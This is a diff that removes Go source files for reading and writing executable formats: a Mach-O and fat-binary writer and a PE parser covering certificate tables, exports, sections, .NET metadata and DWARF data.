//log.Printf("%x: wrote pad of: %d", bytesWritten, uint64(symtab.Symoff)-bytesWritten)
|
||||
}
|
||||
w.Write(symtab.RawSymtab)
|
||||
bytesWritten += uint64(len(symtab.RawSymtab))
|
||||
//log.Printf("%x: Wrote raw symtab, length of: %d", bytesWritten, len(symtab.RawSymtab))
|
||||
|
||||
// Write DySymTab next!
|
||||
dysymtab := machoFile.Dysymtab
|
||||
if int64(dysymtab.Indirectsymoff)-int64(bytesWritten) > 0 {
|
||||
pad2 := make([]byte, uint64(dysymtab.Indirectsymoff)-bytesWritten)
|
||||
w.Write(pad2)
|
||||
bytesWritten += uint64(len(pad2))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad2))
|
||||
}
|
||||
w.Write(dysymtab.RawDysymtab)
|
||||
bytesWritten += uint64(len(dysymtab.RawDysymtab))
|
||||
//log.Printf("%x: Wrote raw indirect symbols, length of: %d", bytesWritten, len(dysymtab.RawDysymtab))
|
||||
|
||||
// Write StringTab!
|
||||
if int64(symtab.Stroff)-int64(bytesWritten) > 0 {
|
||||
pad3 := make([]byte, uint64(symtab.Stroff)-bytesWritten)
|
||||
w.Write(pad3)
|
||||
bytesWritten += uint64(len(pad3))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad3))
|
||||
}
|
||||
w.Write(symtab.RawStringtab)
|
||||
bytesWritten += uint64(len(symtab.RawStringtab))
|
||||
//log.Printf("%x: Wrote raw stringtab, length of: %d", bytesWritten, len(symtab.RawStringtab))
|
||||
|
||||
// Write The Signature Block, if it exists
|
||||
//log.Printf("SigBlock Dat: %v", machoFile.SigBlock)
|
||||
if machoFile.SigBlock != nil {
|
||||
if int64(machoFile.SigBlock.Offset)-int64(bytesWritten) > 0 {
|
||||
padX := make([]byte, int64(machoFile.SigBlock.Offset)-int64(bytesWritten))
|
||||
w.Write(padX)
|
||||
bytesWritten += uint64(len(padX))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padX))
|
||||
}
|
||||
w.Write(machoFile.SigBlock.RawDat)
|
||||
bytesWritten += uint64(machoFile.SigBlock.Len)
|
||||
//log.Printf("%x: Wrote raw sigblock, length of: %d", bytesWritten, machoFile.SigBlock.Len)
|
||||
}
|
||||
|
||||
// Write 0s to the end of the final segment
|
||||
if int64(FinalSegEnd)-int64(bytesWritten) > 0 {
|
||||
pad4 := make([]byte, uint64(FinalSegEnd)-bytesWritten)
|
||||
w.Write(pad4)
|
||||
bytesWritten += uint64(len(pad4))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad4))
|
||||
}
|
||||
|
||||
//log.Println("All done!")
|
||||
machoBytes := w.Bytes()
|
||||
return machoBytes, nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (machoFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
machoData, err := machoFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(machoData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteFatFile - Creates a new Fat file and multiple machos into it
|
||||
func (FatyFile *FatFile) WriteFatFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
w := bufio.NewWriter(f)
|
||||
bytesWritten := uint64(0)
|
||||
var FatyMachos []File
|
||||
var FatyMachosOffsets []uint32
|
||||
|
||||
// Fat Header First
|
||||
// Magic Bytes
|
||||
binary.Write(w, binary.BigEndian, FatyFile.Magic)
|
||||
bytesWritten += 4
|
||||
// Number of Fat Arches [4 bytes]
|
||||
FatArches := uint32(len(FatyFile.Arches))
|
||||
binary.Write(w, binary.BigEndian, FatArches)
|
||||
bytesWritten += 4
|
||||
w.Flush()
|
||||
// Arch Size
|
||||
for _, arch := range FatyFile.Arches {
|
||||
log.Printf("Arch details: %v\n", arch)
|
||||
FatyMachos = append(FatyMachos, *(arch.File))
|
||||
//Cpu Type
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Cpu))
|
||||
bytesWritten += 4
|
||||
//Sub CPU type
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.SubCpu))
|
||||
bytesWritten += 4
|
||||
//FileOffset
|
||||
FatyMachosOffsets = append(FatyMachosOffsets, arch.Offset)
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Offset))
|
||||
bytesWritten += 4
|
||||
//Size
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Size))
|
||||
bytesWritten += 4
|
||||
//Align
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Align))
|
||||
bytesWritten += 4
|
||||
w.Flush()
|
||||
}
|
||||
// End of Fat Headers
|
||||
|
||||
// Write each Macho File at its Offset
|
||||
for index, mach := range FatyMachos {
|
||||
// Pad to the offset
|
||||
if bytesWritten < uint64(FatyMachosOffsets[index]) {
|
||||
pad := make([]byte, uint64(FatyMachosOffsets[index])-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
// Write the Mach-o file
|
||||
machOut, err := mach.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
binary.Write(w, binary.BigEndian, machOut)
|
||||
bytesWritten += uint64(len(machOut))
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-50
@@ -1,50 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// CERTIFICATE_TABLE is the index of the Certificate Table info in the Data Directory structure
|
||||
// in the PE header
|
||||
const CERTIFICATE_TABLE = 4
|
||||
|
||||
func readCertTable(f *File, r io.ReadSeeker) ([]byte, error) {
|
||||
if f.OptionalHeader == nil { // Optional header is optional, might not exist
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var certTableOffset, certTableSize uint32
|
||||
|
||||
switch f.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_I386:
|
||||
certTableOffset = f.OptionalHeader.(*OptionalHeader32).DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
certTableSize = f.OptionalHeader.(*OptionalHeader32).DataDirectory[CERTIFICATE_TABLE].Size
|
||||
case IMAGE_FILE_MACHINE_AMD64:
|
||||
certTableOffset = f.OptionalHeader.(*OptionalHeader64).DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
certTableSize = f.OptionalHeader.(*OptionalHeader64).DataDirectory[CERTIFICATE_TABLE].Size
|
||||
default:
|
||||
return nil, errors.New("architecture not supported")
|
||||
}
|
||||
|
||||
// check if certificate table exists
|
||||
if certTableOffset == 0 || certTableSize == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var err error
|
||||
_, err = r.Seek(int64(certTableOffset), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to certificate table: %v", err)
|
||||
}
|
||||
|
||||
// grab the cert
|
||||
cert := make([]byte, certTableSize)
|
||||
_, err = io.ReadFull(r, cert)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read certificate table: %v", err)
|
||||
}
|
||||
|
||||
return cert, nil
|
||||
}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
)
|
||||
|
||||
// ExportDirectory - data directory definition for exported functions
|
||||
type ExportDirectory struct {
|
||||
ExportFlags uint32 // reserved, must be zero
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NameRVA uint32 // pointer to the name of the DLL
|
||||
OrdinalBase uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32 // also Ordinal Table Len
|
||||
AddressTableAddr uint32 // RVA of EAT, relative to image base
|
||||
NameTableAddr uint32 // RVA of export name pointer table, relative to image base
|
||||
OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Ordinal uint32
|
||||
Name string
|
||||
VirtualAddress uint32
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the exports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_EXPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the export data directory entry
|
||||
var edd DataDirectory
|
||||
if pe64 {
|
||||
edd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
} else {
|
||||
edd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the export directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= edd.VirtualAddress && edd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no exports were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
d, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exportDirOffset := edd.VirtualAddress - ds.VirtualAddress
|
||||
|
||||
// seek to the virtual address specified in the export data directory
|
||||
dxd := d[exportDirOffset:]
|
||||
|
||||
// deserialize export directory
|
||||
var dt ExportDirectory
|
||||
dt.ExportFlags = binary.LittleEndian.Uint32(dxd[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(dxd[4:8])
|
||||
dt.MajorVersion = binary.LittleEndian.Uint16(dxd[8:10])
|
||||
dt.MinorVersion = binary.LittleEndian.Uint16(dxd[10:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(dxd[12:16])
|
||||
dt.OrdinalBase = binary.LittleEndian.Uint32(dxd[16:20])
|
||||
dt.NumberOfFunctions = binary.LittleEndian.Uint32(dxd[20:24])
|
||||
dt.NumberOfNames = binary.LittleEndian.Uint32(dxd[24:28])
|
||||
dt.AddressTableAddr = binary.LittleEndian.Uint32(dxd[28:32])
|
||||
dt.NameTableAddr = binary.LittleEndian.Uint32(dxd[32:36])
|
||||
dt.OrdinalTableAddr = binary.LittleEndian.Uint32(dxd[36:40])
|
||||
|
||||
dt.DllName, _ = getString(d, int(dt.NameRVA-ds.VirtualAddress))
|
||||
|
||||
// seek to ordinal table
|
||||
dno := d[dt.OrdinalTableAddr-ds.VirtualAddress:]
|
||||
// seek to names table
|
||||
dnn := d[dt.NameTableAddr-ds.VirtualAddress:]
|
||||
|
||||
// build whole ordinal->name table
|
||||
ordinalTable := make(map[uint16]uint32)
|
||||
for n := uint32(0); n < dt.NumberOfNames; n++ {
|
||||
ord := binary.LittleEndian.Uint16(dno[n*2 : (n*2)+2])
|
||||
nameRVA := binary.LittleEndian.Uint32(dnn[n*4 : (n*4)+4])
|
||||
ordinalTable[ord] = nameRVA
|
||||
}
|
||||
dno = nil
|
||||
dnn = nil
|
||||
|
||||
// seek to ordinal table
|
||||
dna := d[dt.AddressTableAddr-ds.VirtualAddress:]
|
||||
|
||||
var exports []Export
|
||||
for i := uint32(0); i < dt.NumberOfFunctions; i++ {
|
||||
var export Export
|
||||
export.VirtualAddress =
|
||||
binary.LittleEndian.Uint32(dna[i*4 : (i*4)+4])
|
||||
export.Ordinal = dt.OrdinalBase + i
|
||||
|
||||
// check the entire ordinal table looking for this index to see if we have a name
|
||||
_, ok := ordinalTable[uint16(i)]
|
||||
if ok { // a name exists for this exported function
|
||||
nameRVA, _ := ordinalTable[uint16(i)]
|
||||
export.Name, _ = getString(d, int(nameRVA-ds.VirtualAddress))
|
||||
}
|
||||
exports = append(exports, export)
|
||||
}
|
||||
return exports, nil
|
||||
}
|
||||
-467
@@ -1,467 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package pe implements access to PE (Microsoft Windows Portable Executable) files.
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Avoid use of post-Go 1.4 io features, to make safe for toolchain bootstrap.
|
||||
const (
|
||||
seekStart = 0
|
||||
seekCurrent = 1
|
||||
)
|
||||
|
||||
// A File represents an open PE file.
|
||||
type File struct {
|
||||
DosHeader
|
||||
DosExists bool
|
||||
DosStub [64]byte // TODO(capnspacehook) make slice and correctly parse any DOS stub
|
||||
RichHeader []byte
|
||||
FileHeader
|
||||
OptionalHeader interface{} // of type *OptionalHeader32 or *OptionalHeader64
|
||||
Sections []*Section
|
||||
BaseRelocationTable *[]RelocationTableEntry
|
||||
Symbols []*Symbol // COFF symbols with auxiliary symbol records removed
|
||||
COFFSymbols []COFFSymbol // all COFF symbols (including auxiliary symbol records)
|
||||
StringTable StringTable
|
||||
CertificateTable []byte
|
||||
|
||||
OptionalHeaderOffset int64 // offset of the start of the Optional Header
|
||||
InsertionAddr uint32
|
||||
InsertionBytes []byte
|
||||
|
||||
Net Net //If a managed executable, Net provides an interface to some of the metadata
|
||||
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as a PE binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
var (
|
||||
sizeofOptionalHeader32 = uint16(binary.Size(OptionalHeader32{}))
|
||||
sizeofOptionalHeader64 = uint16(binary.Size(OptionalHeader64{}))
|
||||
)
|
||||
|
||||
// TODO(brainman): add Load function, as a replacement for NewFile, that does not call removeAuxSymbols (for performance)
|
||||
|
||||
// NewFile creates a new pe.File for accessing a PE binary file in an underlying reader.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, false)
|
||||
}
|
||||
|
||||
// NewFileFromMemory creates a new pe.File for accessing a PE binary in-memory image in an underlying reader.
|
||||
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, true)
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing a PE binary in an underlying reader.
|
||||
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
|
||||
|
||||
f := new(File)
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
binary.Read(sr, binary.LittleEndian, &f.DosHeader)
|
||||
dosHeaderSize := binary.Size(f.DosHeader)
|
||||
if dosHeaderSize > int(f.DosHeader.AddressOfNewExeHeader) {
|
||||
binary.Read(sr, binary.LittleEndian, &f.DosStub)
|
||||
f.DosExists = true
|
||||
} else {
|
||||
f.DosExists = false
|
||||
}
|
||||
|
||||
possibleRichHeaderStart := dosHeaderSize
|
||||
if f.DosExists {
|
||||
possibleRichHeaderStart += binary.Size(f.DosStub)
|
||||
}
|
||||
possibleRichHeaderEnd := int(f.DosHeader.AddressOfNewExeHeader)
|
||||
if possibleRichHeaderEnd > possibleRichHeaderStart {
|
||||
richHeader := make([]byte, possibleRichHeaderEnd-possibleRichHeaderStart)
|
||||
binary.Read(sr, binary.LittleEndian, richHeader)
|
||||
|
||||
if richIndex := bytes.Index(richHeader, []byte("Rich")); richIndex != -1 {
|
||||
f.RichHeader = richHeader[:richIndex+8]
|
||||
}
|
||||
}
|
||||
|
||||
var peHeaderOffset int64
|
||||
if f.DosHeader.MZSignature == 0x5a4d {
|
||||
peHeaderOffset = int64(f.DosHeader.AddressOfNewExeHeader)
|
||||
var sign [4]byte
|
||||
r.ReadAt(sign[:], peHeaderOffset)
|
||||
if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) {
|
||||
return nil, fmt.Errorf("Invalid PE COFF file signature of %v", sign)
|
||||
}
|
||||
peHeaderOffset += int64(4)
|
||||
} else {
|
||||
peHeaderOffset = int64(0)
|
||||
}
|
||||
|
||||
sr.Seek(peHeaderOffset, seekStart)
|
||||
if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch f.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_UNKNOWN, IMAGE_FILE_MACHINE_ARMNT, IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_I386:
|
||||
default:
|
||||
return nil, fmt.Errorf("Unrecognised COFF file header machine value of 0x%x", f.FileHeader.Machine)
|
||||
}
|
||||
|
||||
var err error
|
||||
|
||||
if memoryMode {
|
||||
//get strings table location - offset is wrong in the header because we are in memory mode. Can we fix it? Yes we can!
|
||||
restore, err := sr.Seek(0, seekCurrent)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Had a bad time getting restore point: %v", err)
|
||||
}
|
||||
//seek to table start (skip the headers)
|
||||
sr.Seek(peHeaderOffset+int64(binary.Size(f.FileHeader))+int64(f.FileHeader.SizeOfOptionalHeader), seekStart)
|
||||
|
||||
//iterate through the sections to find the raw offset value that matches the original symbol table value
|
||||
for i := 0; i < int(f.FileHeader.NumberOfSections); i++ {
|
||||
sh := new(SectionHeader32)
|
||||
if err := binary.Read(sr, binary.LittleEndian, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//original offset matches the pointer to the symbol table, update the header so other things can reference it good again
|
||||
if sh.PointerToRawData == f.FileHeader.PointerToSymbolTable {
|
||||
f.FileHeader.PointerToSymbolTable = sh.VirtualAddress
|
||||
}
|
||||
}
|
||||
//restore the original location of sr (this shouldn't actually be required, but just in case)
|
||||
sr.Seek(restore, seekStart)
|
||||
}
|
||||
|
||||
// Read string table.
|
||||
f.StringTable, err = readStringTable(&f.FileHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read symbol table.
|
||||
f.COFFSymbols, err = readCOFFSymbols(&f.FileHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Symbols, err = removeAuxSymbols(f.COFFSymbols, f.StringTable)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read optional header.
|
||||
f.OptionalHeaderOffset = peHeaderOffset + int64(binary.Size(f.FileHeader))
|
||||
sr.Seek(f.OptionalHeaderOffset, seekStart)
|
||||
|
||||
var oh32 OptionalHeader32
|
||||
var oh64 OptionalHeader64
|
||||
switch f.FileHeader.SizeOfOptionalHeader {
|
||||
case sizeofOptionalHeader32:
|
||||
if err := binary.Read(sr, binary.LittleEndian, &oh32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if oh32.Magic != 0x10b { // PE32
|
||||
return nil, fmt.Errorf("pe32 optional header has unexpected Magic of 0x%x", oh32.Magic)
|
||||
}
|
||||
f.OptionalHeader = &oh32
|
||||
case sizeofOptionalHeader64:
|
||||
if err := binary.Read(sr, binary.LittleEndian, &oh64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if oh64.Magic != 0x20b { // PE32+
|
||||
return nil, fmt.Errorf("pe32+ optional header has unexpected Magic of 0x%x", oh64.Magic)
|
||||
}
|
||||
f.OptionalHeader = &oh64
|
||||
}
|
||||
|
||||
// Process sections.
|
||||
f.Sections = make([]*Section, f.FileHeader.NumberOfSections)
|
||||
for i := 0; i < int(f.FileHeader.NumberOfSections); i++ {
|
||||
sh := new(SectionHeader32)
|
||||
if err := binary.Read(sr, binary.LittleEndian, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
name, err := sh.fullName(f.StringTable)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s := new(Section)
|
||||
s.SectionHeader = SectionHeader{
|
||||
Name: name,
|
||||
OriginalName: sh.Name,
|
||||
VirtualSize: sh.VirtualSize,
|
||||
VirtualAddress: sh.VirtualAddress,
|
||||
Size: sh.SizeOfRawData,
|
||||
Offset: sh.PointerToRawData,
|
||||
PointerToRelocations: sh.PointerToRelocations,
|
||||
PointerToLineNumbers: sh.PointerToLineNumbers,
|
||||
NumberOfRelocations: sh.NumberOfRelocations,
|
||||
NumberOfLineNumbers: sh.NumberOfLineNumbers,
|
||||
Characteristics: sh.Characteristics,
|
||||
}
|
||||
r2 := r
|
||||
if sh.PointerToRawData == 0 { // .bss must have all 0s
|
||||
r2 = zeroReaderAt{}
|
||||
}
|
||||
if !memoryMode {
|
||||
s.sr = io.NewSectionReader(r2, int64(s.SectionHeader.Offset), int64(s.SectionHeader.Size))
|
||||
} else {
|
||||
s.sr = io.NewSectionReader(r2, int64(s.SectionHeader.VirtualAddress), int64(s.SectionHeader.Size))
|
||||
}
|
||||
s.ReaderAt = s.sr
|
||||
f.Sections[i] = s
|
||||
}
|
||||
for i := range f.Sections {
|
||||
var err error
|
||||
f.Sections[i].Relocs, err = readRelocs(&f.Sections[i].SectionHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// Read Base Relocation Block and Items
|
||||
f.BaseRelocationTable, err = f.readBaseRelocationTable()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read certificate table
|
||||
f.CertificateTable, err = readCertTable(f, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
//fill net info
|
||||
if f.IsManaged() {
|
||||
var va, size uint32
|
||||
|
||||
//determine location of the COM descriptor directory
|
||||
switch v := f.OptionalHeader.(type) {
|
||||
case *OptionalHeader32:
|
||||
va = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress
|
||||
size = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size
|
||||
case *OptionalHeader64:
|
||||
va = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress
|
||||
size = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size
|
||||
}
|
||||
|
||||
//I'm unsure how to get a reader (not a readerat) for a particular thing, so copying buffers around.. this could be more optimal
|
||||
buff := make([]byte, size)
|
||||
|
||||
//none of these reads have errors being caught either, which is probably not ideal
|
||||
if !memoryMode {
|
||||
r.ReadAt(buff, int64(f.RVAToFileOffset(va)))
|
||||
} else {
|
||||
r.ReadAt(buff, int64(va))
|
||||
}
|
||||
binary.Read(bytes.NewReader(buff), binary.LittleEndian, &f.Net.NetDirectory)
|
||||
|
||||
//Now that we have the COR20 header (COM descriptor directory header), we can get the metadata section header, which has the version
|
||||
buff = make([]byte, f.Net.NetDirectory.MetaDataSize)
|
||||
//again, none of the reads are error checked :shrug:
|
||||
if !memoryMode {
|
||||
r.ReadAt(buff, int64(f.RVAToFileOffset(f.Net.NetDirectory.MetaDataRVA)))
|
||||
} else {
|
||||
r.ReadAt(buff, int64(f.Net.NetDirectory.MetaDataRVA))
|
||||
}
|
||||
f.Net.MetaData, _ = newMetadataHeader(bytes.NewReader(buff))
|
||||
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// zeroReaderAt is ReaderAt that reads 0s.
|
||||
type zeroReaderAt struct{}
|
||||
|
||||
// ReadAt writes len(p) 0s into p.
|
||||
func (w zeroReaderAt) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
for i := range p {
|
||||
p[i] = 0
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// getString extracts a string from symbol string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns the first section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// sectionData gets the data for s and checks its size.
|
||||
sectionData := func(s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint32(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if 0 < s.VirtualSize && s.VirtualSize < s.Size {
|
||||
b = b[:s.VirtualSize]
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for _, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// FormatError is unused.
|
||||
// The type is retained for compatibility.
|
||||
type FormatError struct {
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
return "unknown error"
|
||||
}
|
||||
|
||||
//RVAToFileOffset Converts a Relative offset to the actual offset in the file.
|
||||
func (f *File) RVAToFileOffset(rva uint32) uint32 {
|
||||
var offset uint32
|
||||
for _, section := range f.Sections {
|
||||
if rva >= section.SectionHeader.VirtualAddress && rva <= section.SectionHeader.VirtualAddress+section.SectionHeader.Size {
|
||||
offset = section.SectionHeader.Offset + (rva - section.SectionHeader.VirtualAddress)
|
||||
}
|
||||
}
|
||||
return offset
|
||||
}
|
||||
|
||||
//IsManaged returns true if the loaded PE file references the CLR header (aka is a .net exe)
|
||||
func (f *File) IsManaged() bool {
|
||||
switch v := f.OptionalHeader.(type) {
|
||||
case *OptionalHeader32:
|
||||
if v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0 {
|
||||
return true
|
||||
}
|
||||
case *OptionalHeader64:
|
||||
if v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
-196
@@ -1,196 +0,0 @@
|
||||
package pe
|
||||
|
||||
import "encoding/binary"
|
||||
|
||||
// ImportDirectory entry
|
||||
type ImportDirectory struct {
|
||||
OriginalFirstThunk uint32
|
||||
TimeDateStamp uint32
|
||||
ForwarderChain uint32
|
||||
NameRVA uint32
|
||||
FirstThunk uint32
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
